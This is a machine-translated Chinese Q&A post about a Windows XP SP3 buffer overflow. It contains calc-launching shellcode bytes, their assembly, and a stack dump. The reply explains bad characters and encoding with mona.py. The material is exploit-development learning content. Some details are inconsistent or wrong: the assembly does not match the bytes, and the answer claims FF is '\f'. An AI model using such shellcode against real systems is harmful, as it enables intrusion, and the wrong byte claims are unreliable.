shellcode 中的意外更改

Unintended change in shellcode

我正在尝试在 xp sp3 上执行简单的缓冲区溢出,但我遇到了问题。

这是shellcode(calc)的汇编:

xor ecx, ecx

push ecx

push 636c6163

push 1

mov edx, esp

add edx,4

push edx

mov eax,  kernel32.WinExec

call eax

这是shellcode:

\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xad\x23\x86\x7c\xFF\xD0

这是它在堆栈中的样子:

0012FF58   41414141  AAAA

0012FF5C   41414141  AAAA

0012FF60   41414141  AAAA

0012FF64   77F31D2F  /ów  GDI32.77F31D2F

0012FF68   90909090  

0012FF6C   6851C931  1ÉQh

0012FF70   636C6163  calc

0012FF74   23ADB854  T¸­#

0012FF78   **D03F**7C86  †|?Đ

问题在于,当shellcode被复制到栈上时(或者甚至在复制到栈上之前进入内存)被改变了。从 FF D0 变成 3F D0,因此,shellcode 不会 运行。如果我手动将 F3 写回到 FF 并在 Immunity 中继续 运行ning 程序,计算器将打开。否则,它将失败。此外,运行计算器在免疫力之外打开,但访问冲突也发生在与免疫力相同的地址。

你知道为什么FF的值会变成F3吗?

谢谢! 埃里克

有一些常见的坏字符不能在shellcode中使用,例如:

00 (NULL)
FF (\f)
0D (\r)
0A (\n)

在这种情况下,您可以:
- 编辑包含这些坏字符的指令以更改操作码
- 编码你的 shellcode

以免疫力为例,你可以使用mona.py